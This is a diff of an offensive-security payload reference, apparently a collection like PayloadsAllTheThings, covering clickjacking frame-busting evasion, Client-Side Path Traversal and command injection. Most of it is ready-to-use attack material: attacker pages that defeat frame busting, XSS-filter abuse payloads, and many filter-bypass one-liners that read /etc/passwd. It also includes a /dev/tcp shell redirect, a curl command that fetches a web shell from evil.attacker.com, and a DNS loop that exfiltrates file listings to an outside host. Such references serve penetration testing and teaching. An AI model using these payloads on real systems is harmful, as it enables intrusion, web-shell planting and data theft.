* The `onBeforeUnload` event could be used to evade frame busting code. This event is called when the frame busting code wants to destroy the iframe by loading the URL in the whole web page and not only in the iframe. The handler function returns a string that is prompted to the user asking confirm if he wants to leave the page. When this string is displayed to the user is likely to cancel the navigation, defeating target's frame busting attempt.
|
||||||
|
|
||||||
|
* The attacker can use this attack by registering an unload event on the top page using the following example code:
|
||||||
|
|
||||||
|
```html
|
||||||
|
<h1>www.fictitious.site</h1>
|
||||||
|
<script>
|
||||||
|
window.onbeforeunload = function()
|
||||||
|
{
|
||||||
|
return " Do you want to leave fictitious.site?";
|
||||||
|
}
|
||||||
|
</script>
|
||||||
|
<iframe src="http://target site">
|
||||||
|
```
|
||||||
|
|
||||||
|
* The previous technique requires the user interaction but, the same result, can be achieved without prompting the user. To do this the attacker have to automatically cancel the incoming navigation request in an onBeforeUnload event handler by repeatedly submitting (for example every millisecond) a navigation request to a web page that responds with a _"HTTP/1.1 204 No Content"_ header.
|
||||||
|
|
||||||
|
_204 page:_
|
||||||
|
|
||||||
|
```php
|
||||||
|
<?php
|
||||||
|
header("HTTP/1.1 204 No Content");
|
||||||
|
?>
|
||||||
|
```
|
||||||
|
|
||||||
|
_Attacker's Page_
|
||||||
|
|
||||||
|
```js
|
||||||
|
<script>
|
||||||
|
var prevent_bust = 0;
|
||||||
|
window.onbeforeunload = function() {
|
||||||
|
prevent_bust++;
|
||||||
|
};
|
||||||
|
setInterval(
|
||||||
|
function() {
|
||||||
|
if (prevent_bust > 0) {
|
||||||
|
prevent_bust -= 2;
|
||||||
|
window.top.location = "http://attacker.site/204.php";
|
||||||
|
}
|
||||||
|
}, 1);
|
||||||
|
</script>
|
||||||
|
<iframe src="http://target site">
|
||||||
|
```
|
||||||
|
|
||||||
|
## XSS Filter
|
||||||
|
|
||||||
|
### IE8 XSS filter
|
||||||
|
This filter has visibility into all parameters of each request and response flowing through the web browser and it compares them to a set of regular expressions in order to look for reflected XSS attempts. When the filter identifies a possible XSS attacks; it disables all inline scripts within the page, including frame busting scripts (the same thing could be done with external scripts). For this reason an attacker could induce a false positive by inserting the beginning of the frame busting script into a request's parameters.
|
||||||
|
|
||||||
|
```html
|
||||||
|
<script>
|
||||||
|
if ( top != self )
|
||||||
|
{
|
||||||
|
top.location=self.location;
|
||||||
|
}
|
||||||
|
</script>
|
||||||
|
```
|
||||||
|
|
||||||
|
Attacker View:
|
||||||
|
|
||||||
|
```html
|
||||||
|
<iframe src=”http://target site/?param=<script>if”>
|
||||||
|
```
|
||||||
|
|
||||||
|
### Chrome 4.0 XSSAuditor filter
|
||||||
|
|
||||||
|
It has a little different behaviour compared to IE8 XSS filter, in fact with this filter an attacker could deactivate a “script” by passing its code in a request parameter. This enables the framing page to specifically target a single snippet containing the frame busting code, leaving all the other codes intact.
|
||||||
|
|
||||||
|
Attacker View:
|
||||||
|
|
||||||
|
```html
|
||||||
|
<iframe src=”http://target site/?param=if(top+!%3D+self)+%7B+top.location%3Dself.location%3B+%7D”>
|
||||||
|
```
|
||||||
|
|
||||||
|
## Challenge
|
||||||
|
|
||||||
|
Inspect the following code:
|
||||||
|
|
||||||
|
```html
|
||||||
|
<div style="position: absolute; opacity: 0;">
|
||||||
|
<iframe src="https://legitimate-site.com/login" width="500" height="500"></iframe>
|
||||||
|
</div>
|
||||||
|
<button onclick="document.getElementsByTagName('iframe')[0].contentWindow.location='malicious-site.com';">Click me</button>
|
||||||
|
```
|
||||||
|
|
||||||
|
Determine the Clickjacking vulnerability within this code snippet. Identify how the hidden iframe is being used to exploit the user's actions when they click the button, leading them to a malicious website.
|
||||||
|
|
||||||
|
|
||||||
|
## Labs
|
||||||
|
|
||||||
|
* [OWASP WebGoat](https://owasp.org/www-project-webgoat/)
|
||||||
|
* [OWASP Client Side Clickjacking Test](https://owasp.org/www-project-web-security-testing-guide/v41/4-Web_Application_Security_Testing/11-Client_Side_Testing/09-Testing_for_Clickjacking)
|
||||||
|
|
||||||
|
|
||||||
|
## References
|
||||||
|
|
||||||
|
- [Clickjacker.io - Saurabh Banawar - May 10, 2020](https://clickjacker.io)
|
||||||
|
- [Clickjacking - Gustav Rydstedt - April 28, 2020](https://owasp.org/www-community/attacks/Clickjacking)
|
||||||
|
- [Synopsys Clickjacking - BlackDuck - November 29, 2019](https://www.synopsys.com/glossary/what-is-clickjacking.html#B)
|
||||||
|
- [Web-Security Clickjacking - PortSwigger - October 12, 2019](https://portswigger.net/web-security/clickjacking)
|
||||||
79
Client Side Path Traversal/README.md
Normal file
79
Client Side Path Traversal/README.md
Normal file
@@ -0,0 +1,79 @@
|
|||||||
|
# Client Side Path Traversal
|
||||||
|
|
||||||
|
> Client-Side Path Traversal (CSPT), sometimes also referred to as "On-site Request Forgery," is a vulnerability that can be exploited as a tool for CSRF or XSS attacks.
|
||||||
|
|
||||||
|
> It takes advantage of the client side's ability to make requests using fetch to a URL, where multiple "../" characters can be injected. After normalization, these characters redirect the request to a different URL, potentially leading to security breaches.
|
||||||
|
|
||||||
|
> Since every request is initiated from within the frontend of the application, the browser automatically includes cookies and other authentication mechanisms, making them available for exploitation in these attacks.
|
||||||
|
|
||||||
|
|
||||||
|
## Summary
|
||||||
|
|
||||||
|
* [Tools](#tools)
|
||||||
|
* [Methodology](#methodology)
|
||||||
|
* [CSPT to XSS](#cspt-to-xss)
|
||||||
|
* [CSPT to CSRF](#cspt-to-xss)
|
||||||
|
* [Labs](#labs)
|
||||||
|
* [References](#references)
|
||||||
|
|
||||||
|
|
||||||
|
## Tools
|
||||||
|
|
||||||
|
* [doyensec/CSPTBurpExtension](https://github.com/doyensec/CSPTBurpExtension) - CSPT is an open-source Burp Suite extension to find and exploit Client-Side Path Traversal.
|
||||||
|
|
||||||
|
|
||||||
|
## Methodology
|
||||||
|
|
||||||
|
### CSPT to XSS
|
||||||
|
|
||||||
|

|
||||||
|
|
||||||
|
A post-serving page calls the fetch function, sending a request to a URL with attacker-controlled input which is not properly encoded in its path, allowing the attacker to inject `../` sequences to the path and make the request get sent to an arbitrary endpoint. This behavior is referred to as a CSPT vulnerability.
|
||||||
|
|
||||||
|
**Example**:
|
||||||
|
|
||||||
|
* The page `https://example.com/static/cms/news.html` takes a `newsitemid` as parameter
|
||||||
|
* Then fetch the content of `https://example.com/newitems/<newsitemid>`
|
||||||
|
* A text injection was also discovered in `https://example.com/pricing/default.js` via the `cb` parameter
|
||||||
|
* Final payload is `https://example.com/static/cms/news.html?newsitemid=../pricing/default.js?cb=alert(document.domain)//`
|
||||||
|
|
||||||
|
|
||||||
|
### CSPT to CSRF
|
||||||
|
|
||||||
|
A CSPT is redirecting legitimate HTTP requests, allowing the front end to add necessary tokens for API calls, such as authentication or CSRF tokens. This capability can potentially be exploited to circumvent existing CSRF protection measures.
|
||||||
|
|
||||||
|
| | CSRF | CSPT2CSRF |
|
||||||
|
| ------------------------------------------- | ----------------- | ------------------ |
|
||||||
|
| POST CSRF ? | :white_check_mark: | :white_check_mark: |
|
||||||
|
| Can control the body ? | :white_check_mark: | :x: |
|
||||||
|
| Can work with anti-CSRF token ? | :x: | :white_check_mark: |
|
||||||
|
| Can work with Samesite=Lax ? | :x: | :white_check_mark: |
|
||||||
|
| GET / PATCH / PUT / DELETE CSRF ? | :x: | :white_check_mark: |
|
||||||
|
| 1-click CSRF ? | :x: | :white_check_mark: |
|
||||||
|
| Does impact depend on source and on sinks ? | :x: | :white_check_mark: |
|
||||||
|
|
||||||
|
|
||||||
|
Real-World Scenarios:
|
||||||
|
|
||||||
|
* 1-click CSPT2CSRF in Rocket.Chat
|
||||||
|
* CVE-2023-45316: CSPT2CSRF with a POST sink in Mattermost : `/<team>/channels/channelname?telem_action=under_control&forceRHSOpen&telem_run_id=../../../../../../api/v4/caches/invalidate`
|
||||||
|
* CVE-2023-6458: CSPT2CSRF with a GET sink in Mattermost
|
||||||
|
* [Client Side Path Manipulation - erasec.be](https://www.erasec.be/blog/client-side-path-manipulation/): CSPT2CSRF `https://example.com/signup/invite?email=foo%40bar.com&inviteCode=123456789/../../../cards/123e4567-e89b-42d3-a456-556642440000/cancel?a=`
|
||||||
|
* [CVE-2023-5123 : CSPT2CSRF in Grafana’s JSON API Plugin](https://medium.com/@maxime.escourbiac/grafana-cve-2023-5123-write-up-74e1be7ef652)
|
||||||
|
|
||||||
|
|
||||||
|
## Labs
|
||||||
|
|
||||||
|
* [doyensec/CSPTPlayground](https://github.com/doyensec/CSPTPlayground) - CSPTPlayground is an open-source playground to find and exploit Client-Side Path Traversal (CSPT).
|
||||||
|
* [Root Me - CSPT - The Ruler](https://www.root-me.org/en/Challenges/Web-Client/CSPT-The-Ruler)
|
||||||
|
|
||||||
|
|
||||||
|
## References
|
||||||
|
|
||||||
|
- [Exploiting Client-Side Path Traversal to Perform Cross-Site Request Forgery - Introducing CSPT2CSRF - Maxence Schmitt - 02 Jul 2024](https://blog.doyensec.com/2024/07/02/cspt2csrf.html)
|
||||||
|
- [Exploiting Client-Side Path Traversal - CSRF is dead, long live CSRF - Whitepaper - Maxence Schmitt - 02 Jul 2024](https://www.doyensec.com/resources/Doyensec_CSPT2CSRF_Whitepaper.pdf)
|
||||||
|
- [Exploiting Client-Side Path Traversal - CSRF is Dead, Long Live CSRF - OWASP Global AppSec 2024 - Maxence Schmitt - June 24 2024](https://www.doyensec.com/resources/Doyensec_CSPT2CSRF_OWASP_Appsec_Lisbon.pdf)
|
||||||
|
- [Leaking Jupyter instance auth token chaining CVE-2023-39968, CVE-2024-22421 and a chromium bug - Davwwwx - 30-08-2023](https://blog.xss.am/2023/08/cve-2023-39968-jupyter-token-leak/)
|
||||||
|
- [On-site request forgery - Dafydd Stuttard - 03 May 2007](https://portswigger.net/blog/on-site-request-forgery)
|
||||||
|
- [Bypassing WAFs to Exploit CSPT Using Encoding Levels - Matan Berson - 2024-05-10](https://matanber.com/blog/cspt-levels)
|
||||||
|
- [Automating Client-Side Path Traversals Discovery - Vitor Falcao - October 3, 2024](https://vitorfalcao.com/posts/automating-cspt-discovery/)
|
||||||
@@ -2,39 +2,73 @@
|
|||||||
|
|
||||||
> Command injection is a security vulnerability that allows an attacker to execute arbitrary commands inside a vulnerable application.
|
> Command injection is a security vulnerability that allows an attacker to execute arbitrary commands inside a vulnerable application.
|
||||||
|
|
||||||
|
|
||||||
## Summary
|
## Summary
|
||||||
|
|
||||||
* [Tools](#tools)
|
* [Tools](#tools)
|
||||||
* [Exploits](#exploits)
|
* [Methodology](#methodology)
|
||||||
* [Basic commands](#basic-commands)
|
* [Basic Commands](#basic-commands)
|
||||||
* [Chaining commands](#chaining-commands)
|
* [Chaining Commands](#chaining-commands)
|
||||||
* [Inside a command](#inside-a-command)
|
* [Argument Injection](#argument-injection)
|
||||||
|
* [Inside A Command](#inside-a-command)
|
||||||
* [Filter Bypasses](#filter-bypasses)
|
* [Filter Bypasses](#filter-bypasses)
|
||||||
* [Bypass without space](#bypass-without-space)
|
* [Bypass Without Space](#bypass-without-space)
|
||||||
* [Bypass with a line return](#bypass-with-a-line-return)
|
* [Bypass With A Line Return](#bypass-with-a-line-return)
|
||||||
* [Bypass characters filter via hex encoding](#bypass-characters-filter-via-hex-encoding)
|
* [Bypass With Backslash Newline](#bypass-with-backslash-newline)
|
||||||
* [Bypass blacklisted words](#bypass-blacklisted-words)
|
* [Bypass With Tilde Expansion](#bypass-with-tilde-expansion)
|
||||||
* [Bypass with single quote](#bypass-with-single-quote)
|
* [Bypass With Brace Expansion](#bypass-with-brace-expansion)
|
||||||
* [Bypass with double quote](#bypass-with-double-quote)
|
* [Bypass Characters Filter](#bypass-characters-filter)
|
||||||
* [Bypass with backslash and slash](#bypass-with-backslash-and-slash)
|
* [Bypass Characters Filter Via Hex Encoding](#bypass-characters-filter-via-hex-encoding)
|
||||||
* [Bypass with $@](#bypass-with-)
|
* [Bypass With Single Quote](#bypass-with-single-quote)
|
||||||
* [Bypass with $()](#bypass-with--1)
|
* [Bypass With Double Quote](#bypass-with-double-quote)
|
||||||
* [Bypass with variable expansion](#bypass-with-variable-expansion)
|
* [Bypass With Backticks](#bypass-with-backticks)
|
||||||
* [Bypass with wildcards](#bypass-with-wildcards)
|
* [Bypass With Backslash And Slash](#bypass-with-backslash-and-slash)
|
||||||
* [Challenge](#challenge)
|
* [Bypass With $@](#bypass-with-)
|
||||||
* [Time based data exfiltration](#time-based-data-exfiltration)
|
* [Bypass With $()](#bypass-with--1)
|
||||||
* [DNS based data exfiltration](#dns-based-data-exfiltration)
|
* [Bypass With Variable Expansion](#bypass-with-variable-expansion)
|
||||||
* [Polyglot command injection](#polyglot-command-injection)
|
* [Bypass With Wildcards](#bypass-with-wildcards)
|
||||||
|
* [Data Exfiltration](#data-exfiltration)
|
||||||
|
* [Time Based Data Exfiltration](#time-based-data-exfiltration)
|
||||||
|
* [Dns Based Data Exfiltration](#dns-based-data-exfiltration)
|
||||||
|
* [Polyglot Command Injection](#polyglot-command-injection)
|
||||||
|
* [Tricks](#tricks)
|
||||||
|
* [Backgrounding Long Running Commands](#backgrounding-long-running-commands)
|
||||||
|
* [Remove Arguments After The Injection](#remove-arguments-after-the-injection)
|
||||||
|
* [Labs](#labs)
|
||||||
|
* [Challenge](#challenge)
|
||||||
* [References](#references)
|
* [References](#references)
|
||||||
|
|
||||||
|
|
||||||
## Tools
|
## Tools
|
||||||
|
|
||||||
* [commix - Automated All-in-One OS command injection and exploitation tool](https://github.com/commixproject/commix)
|
* [commixproject/commix](https://github.com/commixproject/commix) - Automated All-in-One OS command injection and exploitation tool
|
||||||
|
* [projectdiscovery/interactsh](https://github.com/projectdiscovery/interactsh) - An OOB interaction gathering server and client library
|
||||||
|
|
||||||
## Exploits
|
|
||||||
|
|
||||||
### Basic commands
|
## Methodology
|
||||||
|
|
||||||
|
Command injection, also known as shell injection, is a type of attack in which the attacker can execute arbitrary commands on the host operating system via a vulnerable application. This vulnerability can exist when an application passes unsafe user-supplied data (forms, cookies, HTTP headers, etc.) to a system shell. In this context, the system shell is a command-line interface that processes commands to be executed, typically on a Unix or Linux system.
|
||||||
|
|
||||||
|
The danger of command injection is that it can allow an attacker to execute any command on the system, potentially leading to full system compromise.
|
||||||
|
|
||||||
|
**Example of Command Injection with PHP**:
|
||||||
|
Suppose you have a PHP script that takes a user input to ping a specified IP address or domain:
|
||||||
|
|
||||||
|
```php
|
||||||
|
<?php
|
||||||
|
$ip = $_GET['ip'];
|
||||||
|
system("ping -c 4 " . $ip);
|
||||||
|
?>
|
||||||
|
```
|
||||||
|
|
||||||
|
In the above code, the PHP script uses the `system()` function to execute the `ping` command with the IP address or domain provided by the user through the `ip` GET parameter.
|
||||||
|
|
||||||
|
If an attacker provides input like `8.8.8.8; cat /etc/passwd`, the actual command that gets executed would be: `ping -c 4 8.8.8.8; cat /etc/passwd`.
|
||||||
|
|
||||||
|
This means the system would first `ping 8.8.8.8` and then execute the `cat /etc/passwd` command, which would display the contents of the `/etc/passwd` file, potentially revealing sensitive information.
|
||||||
|
|
||||||
|
|
||||||
|
### Basic Commands
|
||||||
|
|
||||||
Execute the command and voila :p
|
Execute the command and voila :p
|
||||||
|
|
||||||
@@ -44,93 +78,170 @@ root:x:0:0:root:/root:/bin/bash
|
|||||||
daemon:x:1:1:daemon:/usr/sbin:/bin/sh
|
daemon:x:1:1:daemon:/usr/sbin:/bin/sh
|
||||||
bin:x:2:2:bin:/bin:/bin/sh
|
bin:x:2:2:bin:/bin:/bin/sh
|
||||||
sys:x:3:3:sys:/dev:/bin/sh
|
sys:x:3:3:sys:/dev:/bin/sh
|
||||||
|
...
|
||||||
```
|
```
|
||||||
|
|
||||||
### Chaining commands
|
|
||||||
|
### Chaining Commands
|
||||||
|
|
||||||
|
In many command-line interfaces, especially Unix-like systems, there are several characters that can be used to chain or manipulate commands.
|
||||||
|
|
||||||
|
|
||||||
|
* `;` (Semicolon): Allows you to execute multiple commands sequentially.
|
||||||
|
* `&&` (AND): Execute the second command only if the first command succeeds (returns a zero exit status).
|
||||||
|
* `||` (OR): Execute the second command only if the first command fails (returns a non-zero exit status).
|
||||||
|
* `&` (Background): Execute the command in the background, allowing the user to continue using the shell.
|
||||||
|
* `|` (Pipe): Takes the output of the first command and uses it as the input for the second command.
|
||||||
|
|
||||||
```powershell
|
```powershell
|
||||||
original_cmd_by_server; ls
|
command1; command2 # Execute command1 and then command2
|
||||||
original_cmd_by_server && ls
|
command1 && command2 # Execute command2 only if command1 succeeds
|
||||||
original_cmd_by_server | ls
|
command1 || command2 # Execute command2 only if command1 fails
|
||||||
original_cmd_by_server || ls # Only if the first cmd fail
|
command1 & command2 # Execute command1 in the background
|
||||||
|
command1 | command2 # Pipe the output of command1 into command2
|
||||||
```
|
```
|
||||||
|
|
||||||
### Inside a command
|
|
||||||
|
|
||||||
```bash
|
### Argument Injection
|
||||||
original_cmd_by_server `cat /etc/passwd`
|
|
||||||
original_cmd_by_server $(cat /etc/passwd)
|
Gain a command execution when you can only append arguments to an existing command.
|
||||||
```
|
Use this website [Argument Injection Vectors - Sonar](https://sonarsource.github.io/argument-injection-vectors/) to find the argument to inject to gain command execution.
|
||||||
|
|
||||||
|
* Chrome
|
||||||
|
```ps1
|
||||||
|
chrome '--gpu-launcher="id>/tmp/foo"'
|
||||||
|
```
|
||||||
|
|
||||||
|
* SSH
|
||||||
|
```ps1
|
||||||
|
ssh '-oProxyCommand="touch /tmp/foo"' foo@foo
|
||||||
|
```
|
||||||
|
|
||||||
|
* psql
|
||||||
|
```ps1
|
||||||
|
psql -o'|id>/tmp/foo'
|
||||||
|
```
|
||||||
|
|
||||||
|
Sometimes, direct command execution from the injection might not be possible, but you may be able to redirect the flow into a specific file, enabling you to deploy a web shell.
|
||||||
|
|
||||||
|
* curl
|
||||||
|
```ps1
|
||||||
|
# -o, --output <file> Write to file instead of stdout
|
||||||
|
curl http://evil.attacker.com/ -o webshell.php
|
||||||
|
```
|
||||||
|
|
||||||
|
|
||||||
|
### Inside A Command
|
||||||
|
|
||||||
|
* Command injection using backticks.
|
||||||
|
```bash
|
||||||
|
original_cmd_by_server `cat /etc/passwd`
|
||||||
|
```
|
||||||
|
* Command injection using substitution
|
||||||
|
```bash
|
||||||
|
original_cmd_by_server $(cat /etc/passwd)
|
||||||
|
```
|
||||||
|
|
||||||
|
|
||||||
## Filter Bypasses
|
## Filter Bypasses
|
||||||
|
|
||||||
### Bypass without space
|
### Bypass Without Space
|
||||||
|
|
||||||
Works on Linux only.
|
* `$IFS` is a special shell variable called the Internal Field Separator. By default, in many shells, it contains whitespace characters (space, tab, newline). When used in a command, the shell will interpret `$IFS` as a space. `$IFS` does not directly work as a separator in commands like `ls`, `wget`; use `${IFS}` instead.
|
||||||
|
```powershell
|
||||||
|
cat${IFS}/etc/passwd
|
||||||
|
ls${IFS}-la
|
||||||
|
```
|
||||||
|
* In some shells, brace expansion generates arbitrary strings. When executed, the shell will treat the items inside the braces as separate commands or arguments.
|
||||||
|
```powershell
|
||||||
|
{cat,/etc/passwd}
|
||||||
|
```
|
||||||
|
* Input redirection. The < character tells the shell to read the contents of the file specified.
|
||||||
|
```powershell
|
||||||
|
cat</etc/passwd
|
||||||
|
sh</dev/tcp/127.0.0.1/4242
|
||||||
|
```
|
||||||
|
* ANSI-C Quoting
|
||||||
|
```powershell
|
||||||
|
X=$'uname\x20-a'&&$X
|
||||||
|
```
|
||||||
|
* The tab character can sometimes be used as an alternative to spaces. In ASCII, the tab character is represented by the hexadecimal value `09`.
|
||||||
|
```powershell
|
||||||
|
;ls%09-al%09/home
|
||||||
|
```
|
||||||
|
* In Windows, `%VARIABLE:~start,length%` is a syntax used for substring operations on environment variables.
|
||||||
|
```powershell
|
||||||
|
ping%CommonProgramFiles:~10,-18%127.0.0.1
|
||||||
|
ping%PROGRAMFILES:~10,-5%127.0.0.1
|
||||||
|
```
|
||||||
|
|
||||||
|
|
||||||
|
### Bypass With A Line Return
|
||||||
|
|
||||||
|
Commands can also be run in sequence with newlines
|
||||||
|
|
||||||
|
```bash
|
||||||
|
original_cmd_by_server
|
||||||
|
ls
|
||||||
|
```
|
||||||
|
|
||||||
|
|
||||||
|
### Bypass With Backslash Newline
|
||||||
|
|
||||||
|
* Commands can be broken into parts by using backslash followed by a newline
|
||||||
|
```powershell
|
||||||
|
$ cat /et\
|
||||||
|
c/pa\
|
||||||
|
sswd
|
||||||
|
```
|
||||||
|
* URL encoded form would look like this:
|
||||||
|
```powershell
|
||||||
|
cat%20/et%5C%0Ac/pa%5C%0Asswd
|
||||||
|
```
|
||||||
|
|
||||||
|
|
||||||
|
### Bypass With Tilde Expansion
|
||||||
|
|
||||||
```powershell
|
```powershell
|
||||||
swissky@crashlab:~/Www$ cat</etc/passwd
|
echo ~+
|
||||||
|
echo ~-
|
||||||
|
```
|
||||||
|
|
||||||
|
### Bypass With Brace Expansion
|
||||||
|
|
||||||
|
```powershell
|
||||||
|
{,ip,a}
|
||||||
|
{,ifconfig}
|
||||||
|
{,ifconfig,eth0}
|
||||||
|
{l,-lh}s
|
||||||
|
{,echo,#test}
|
||||||
|
{,$"whoami",}
|
||||||
|
{,/?s?/?i?/c?t,/e??/p??s??,}
|
||||||
|
```
|
||||||
|
|
||||||
|
|
||||||
|
### Bypass Characters Filter
|
||||||
|
|
||||||
|
Commands execution without backslash and slash - linux bash
|
||||||
|
|
||||||
|
```powershell
|
||||||
|
swissky@crashlab:~$ echo ${HOME:0:1}
|
||||||
|
/
|
||||||
|
|
||||||
|
swissky@crashlab:~$ cat ${HOME:0:1}etc${HOME:0:1}passwd
|
||||||
root:x:0:0:root:/root:/bin/bash
|
root:x:0:0:root:/root:/bin/bash
|
||||||
|
|
||||||
swissky@crashlab:~$ {cat,/etc/passwd}
|
swissky@crashlab:~$ echo . | tr '!-0' '"-1'
|
||||||
|
/
|
||||||
|
|
||||||
|
swissky@crashlab:~$ tr '!-0' '"-1' <<< .
|
||||||
|
/
|
||||||
|
|
||||||
|
swissky@crashlab:~$ cat $(echo . | tr '!-0' '"-1')etc$(echo . | tr '!-0' '"-1')passwd
|
||||||
root:x:0:0:root:/root:/bin/bash
|
root:x:0:0:root:/root:/bin/bash
|
||||||
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
|
|
||||||
|
|
||||||
swissky@crashlab:~$ cat$IFS/etc/passwd
|
|
||||||
root:x:0:0:root:/root:/bin/bash
|
|
||||||
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
|
|
||||||
|
|
||||||
swissky@crashlab:~$ echo${IFS}"RCE"${IFS}&&cat${IFS}/etc/passwd
|
|
||||||
RCE
|
|
||||||
root:x:0:0:root:/root:/bin/bash
|
|
||||||
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
|
|
||||||
|
|
||||||
swissky@crashlab:~$ X=$'uname\x20-a'&&$X
|
|
||||||
Linux crashlab 4.4.X-XX-generic #72-Ubuntu
|
|
||||||
|
|
||||||
swissky@crashlab:~$ sh</dev/tcp/127.0.0.1/4242
|
|
||||||
```
|
```
|
||||||
|
|
||||||
Commands execution without spaces, $ or { } - Linux (Bash only)
|
### Bypass Characters Filter Via Hex Encoding
|
||||||
|
|
||||||
```powershell
|
|
||||||
IFS=,;`cat<<<uname,-a`
|
|
||||||
```
|
|
||||||
|
|
||||||
Tabs work as separators in web apps where spaces are removed.
|
|
||||||
|
|
||||||
```powershell
|
|
||||||
;ls%09-al%09/home
|
|
||||||
drwxr-xr-x 4 root root 4096 Jan 10 13:34 .
|
|
||||||
drwxr-xr-x 18 root root 4096 Jan 10 13:33 ..
|
|
||||||
drwx------ 2 root root 16384 Jan 10 13:31 lost+found
|
|
||||||
drwxr-xr-x 4 test test 4096 Jan 13 08:30 test
|
|
||||||
```
|
|
||||||
|
|
||||||
Works on Windows only.
|
|
||||||
|
|
||||||
```powershell
|
|
||||||
ping%CommonProgramFiles:~10,-18%IP
|
|
||||||
ping%PROGRAMFILES:~10,-5%IP
|
|
||||||
```
|
|
||||||
|
|
||||||
### Bypass with a line return
|
|
||||||
|
|
||||||
```powershell
|
|
||||||
something%0Acat%20/etc/passwd
|
|
||||||
```
|
|
||||||
|
|
||||||
You can also write files.
|
|
||||||
|
|
||||||
```powershell
|
|
||||||
;cat>/tmp/hi<<EOF%0ahello%0aEOF
|
|
||||||
;cat</tmp/hi
|
|
||||||
hello
|
|
||||||
```
|
|
||||||
|
|
||||||
### Bypass characters filter via hex encoding
|
|
||||||
|
|
||||||
Linux
|
|
||||||
|
|
||||||
```powershell
|
```powershell
|
||||||
swissky@crashlab:~$ echo -e "\x2f\x65\x74\x63\x2f\x70\x61\x73\x73\x77\x64"
|
swissky@crashlab:~$ echo -e "\x2f\x65\x74\x63\x2f\x70\x61\x73\x73\x77\x64"
|
||||||
@@ -158,66 +269,54 @@ swissky@crashlab:~$ cat `xxd -r -ps <(echo 2f6574632f706173737764)`
|
|||||||
root:x:0:0:root:/root:/bin/bash
|
root:x:0:0:root:/root:/bin/bash
|
||||||
```
|
```
|
||||||
|
|
||||||
### Bypass characters filter
|
### Bypass With Single Quote
|
||||||
|
|
||||||
Commands execution without backslash and slash - linux bash
|
|
||||||
|
|
||||||
```powershell
|
|
||||||
swissky@crashlab:~$ echo ${HOME:0:1}
|
|
||||||
/
|
|
||||||
|
|
||||||
swissky@crashlab:~$ cat ${HOME:0:1}etc${HOME:0:1}passwd
|
|
||||||
root:x:0:0:root:/root:/bin/bash
|
|
||||||
|
|
||||||
swissky@crashlab:~$ echo . | tr '!-0' '"-1'
|
|
||||||
/
|
|
||||||
|
|
||||||
swissky@crashlab:~$ tr '!-0' '"-1' <<< .
|
|
||||||
/
|
|
||||||
|
|
||||||
swissky@crashlab:~$ cat $(echo . | tr '!-0' '"-1')etc$(echo . | tr '!-0' '"-1')passwd
|
|
||||||
root:x:0:0:root:/root:/bin/bash
|
|
||||||
```
|
|
||||||
|
|
||||||
### Bypass Blacklisted words
|
|
||||||
|
|
||||||
#### Bypass with single quote
|
|
||||||
|
|
||||||
```powershell
|
```powershell
|
||||||
w'h'o'am'i
|
w'h'o'am'i
|
||||||
|
wh''oami
|
||||||
|
'w'hoami
|
||||||
```
|
```
|
||||||
|
|
||||||
#### Bypass with double quote
|
### Bypass With Double Quote
|
||||||
|
|
||||||
```powershell
|
```powershell
|
||||||
w"h"o"am"i
|
w"h"o"am"i
|
||||||
|
wh""oami
|
||||||
|
"wh"oami
|
||||||
```
|
```
|
||||||
|
|
||||||
#### Bypass with backslash and slash
|
### Bypass With Backticks
|
||||||
|
|
||||||
|
```powershell
|
||||||
|
wh``oami
|
||||||
|
```
|
||||||
|
|
||||||
|
### Bypass With Backslash and Slash
|
||||||
|
|
||||||
```powershell
|
```powershell
|
||||||
w\ho\am\i
|
w\ho\am\i
|
||||||
/\b\i\n/////s\h
|
/\b\i\n/////s\h
|
||||||
```
|
```
|
||||||
|
|
||||||
#### Bypass with $@
|
### Bypass With $@
|
||||||
|
|
||||||
|
`$0`: Refers to the name of the script if it's being run as a script. If you're in an interactive shell session, `$0` will typically give the name of the shell.
|
||||||
|
|
||||||
```powershell
|
```powershell
|
||||||
who$@ami
|
who$@ami
|
||||||
|
|
||||||
echo $0
|
|
||||||
-> /usr/bin/zsh
|
|
||||||
echo whoami|$0
|
echo whoami|$0
|
||||||
```
|
```
|
||||||
|
|
||||||
### Bypass with $()
|
|
||||||
|
### Bypass With $()
|
||||||
|
|
||||||
```powershell
|
```powershell
|
||||||
who$()ami
|
who$()ami
|
||||||
who$(echo am)i
|
who$(echo am)i
|
||||||
who`echo am`i
|
who`echo am`i
|
||||||
```
|
```
|
||||||
|
|
||||||
#### Bypass with variable expansion
|
### Bypass With Variable Expansion
|
||||||
|
|
||||||
```powershell
|
```powershell
|
||||||
/???/??t /???/p??s??
|
/???/??t /???/p??s??
|
||||||
@@ -227,14 +326,107 @@ cat ${test//hhh\/hm/}
|
|||||||
cat ${test//hh??hm/}
|
cat ${test//hh??hm/}
|
||||||
```
|
```
|
||||||
|
|
||||||
#### Bypass with wildcards
|
### Bypass With Wildcards
|
||||||
|
|
||||||
```powershell
|
```powershell
|
||||||
powershell C:\*\*2\n??e*d.*? # notepad
|
powershell C:\*\*2\n??e*d.*? # notepad
|
||||||
@^p^o^w^e^r^shell c:\*\*32\c*?c.e?e # calc
|
@^p^o^w^e^r^shell c:\*\*32\c*?c.e?e # calc
|
||||||
```
|
```
|
||||||
|
|
||||||
## Challenge
|
|
||||||
|
## Data Exfiltration
|
||||||
|
|
||||||
|
### Time Based Data Exfiltration
|
||||||
|
|
||||||
|
Extracting data char by char and detect the correct value based on the delay.
|
||||||
|
|
||||||
|
* Correct value: wait 5 seconds
|
||||||
|
```powershell
|
||||||
|
swissky@crashlab:~$ time if [ $(whoami|cut -c 1) == s ]; then sleep 5; fi
|
||||||
|
real 0m5.007s
|
||||||
|
user 0m0.000s
|
||||||
|
sys 0m0.000s
|
||||||
|
```
|
||||||
|
|
||||||
|
* Incorrect value: no delay
|
||||||
|
```powershell
|
||||||
|
swissky@crashlab:~$ time if [ $(whoami|cut -c 1) == a ]; then sleep 5; fi
|
||||||
|
real 0m0.002s
|
||||||
|
user 0m0.000s
|
||||||
|
sys 0m0.000s
|
||||||
|
```
|
||||||
|
|
||||||
|
|
||||||
|
### Dns Based Data Exfiltration
|
||||||
|
|
||||||
|
Based on the tool from [HoLyVieR/dnsbin](https://github.com/HoLyVieR/dnsbin), also hosted at [dnsbin.zhack.ca](http://dnsbin.zhack.ca/)
|
||||||
|
|
||||||
|
1. Go to http://dnsbin.zhack.ca/
|
||||||
|
2. Execute a simple 'ls'
|
||||||
|
```powershell
|
||||||
|
for i in $(ls /) ; do host "$i.3a43c7e4e57a8d0e2057.d.zhack.ca"; done
